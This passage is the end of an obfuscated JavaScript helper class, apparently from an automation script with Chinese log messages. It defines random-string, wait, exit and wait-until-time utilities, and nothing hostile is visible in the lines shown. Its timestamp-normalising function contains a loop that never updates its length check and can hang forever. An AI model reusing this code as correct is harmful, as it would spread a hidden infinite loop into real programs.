1813 |       return this.randomPattern("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
1814 |     }
1815 |     ["randomString"](_0x44a497, _0x2e6578 = "abcdef0123456789") {
1816 |       let _0x570d69 = "";
1817 |       for (let _0x23bfd5 = 0; _0x23bfd5 < _0x44a497; _0x23bfd5++) {
1818 |         _0x570d69 += _0x2e6578.charAt(Math.floor(Math.random() * _0x2e6578.length));
1819 |       }
1820 |       return _0x570d69;
1821 |     }
1822 |     ["randomList"](_0x304d02) {
1823 |       let _0x48b21b = Math.floor(Math.random() * _0x304d02.length);
1824 |       return _0x304d02[_0x48b21b];
1825 |     }
1826 |     ["wait"](_0x2aba64) {
1827 |       return new Promise(_0x261319 => setTimeout(_0x261319, _0x2aba64));
1828 |     }
1829 |     async ["exitNow"]() {
1830 |       await this.showmsg();
1831 |       let _0x12d627 = Date.now(),
1832 |         _0x869a83 = (_0x12d627 - this.startTime) / 1000;
1833 |       this.log("");
1834 |       const _0x167e57 = {
1835 |         "time": true
1836 |       };
1837 |       this.log("[" + this.name + "]运行结束，共运行了" + _0x869a83 + "秒", _0x167e57);
1838 |       process.exit(0);
1839 |     }
1840 |     ["normalize_time"](_0x504b30, _0x55d294 = {}) {
1841 |       let _0x57e46f = _0x55d294.len || this.default_timestamp_len;
1842 |       _0x504b30 = _0x504b30.toString();
1843 |       let _0x3ec8ce = _0x504b30.length;
1844 |       while (_0x3ec8ce < _0x57e46f) {
1845 |         _0x504b30 += "0";
1846 |       }
1847 |       return _0x3ec8ce > _0x57e46f && (_0x504b30 = _0x504b30.slice(0, 13)), parseInt(_0x504b30);
1848 |     }
1849 |     async ["wait_until"](_0x273c17, _0x8f529c = {}) {
1850 |       let _0x1ec44d = _0x8f529c.logger || this,
1851 |         _0xf3338c = _0x8f529c.interval || this.default_wait_interval,
1852 |         _0x4bdb2a = _0x8f529c.limit || this.default_wait_limit,
1853 |         _0x220dad = _0x8f529c.ahead || this.default_wait_ahead;
1854 |       if (typeof _0x273c17 == "string" && _0x273c17.includes(":")) {
1855 |         if (_0x273c17.includes("-")) _0x273c17 = new Date(_0x273c17).getTime();else {
1856 |           let _0x38f17a = this.time("yyyy-MM-dd ");
1857 |           _0x273c17 = new Date(_0x38f17a + _0x273c17).getTime();
1858 |         }
1859 |       }
1860 |       let _0x397c55 = this.normalize_time(_0x273c17) - _0x220dad,
1861 |         _0x57bf1f = this.time("hh:mm:ss.S", _0x397c55),
1862 |         _0x6a4035 = Date.now();
1863 |       _0x6a4035 > _0x397c55 && (_0x397c55 += 86400000);
1864 |       let _0x60ae2e = _0x397c55 - _0x6a4035;
1865 |       if (_0x60ae2e > _0x4bdb2a) {
1866 |         const _0x46b1bf = {
1867 |           "time": true
1868 |         };
1869 |         _0x1ec44d.log("离目标时间[" + _0x57bf1f + "]大于" + _0x4bdb2a / 1000 + "秒,不等待", _0x46b1bf);
1870 |       } else {
1871 |         const _0x50f445 = {
1872 |           "time": true
1873 |         };
1874 |         _0x1ec44d.log("离目标时间[" + _0x57bf1f + "]还有" + _0x60ae2e / 1000 + "秒,开始等待", _0x50f445);
1875 |         while (_0x60ae2e > 0) {
1876 |           let _0x244b56 = Math.min(_0x60ae2e, _0xf3338c);
1877 |           await this.wait(_0x244b56);
1878 |           _0x6a4035 = Date.now();
1879 |           _0x60ae2e = _0x397c55 - _0x6a4035;
1880 |         }
1881 |         const _0x5938fc = {
1882 |           "time": true
1883 |         };
1884 |         _0x1ec44d.log("已完成等待", _0x5938fc);
1885 |       }
1886 |     }
1887 |     async ["wait_gap_interval"](_0x560a3a, _0x4079c7) {
1888 |       let _0x41c668 = Date.now() - _0x560a3a;
1889 |       _0x41c668 < _0x4079c7 && (await this.wait(_0x4079c7 - _0x41c668));
1890 |     }
1891 |   }(_0x1f7db9);
1892 | }
1893 | 


--------------------------------------------------------------------------------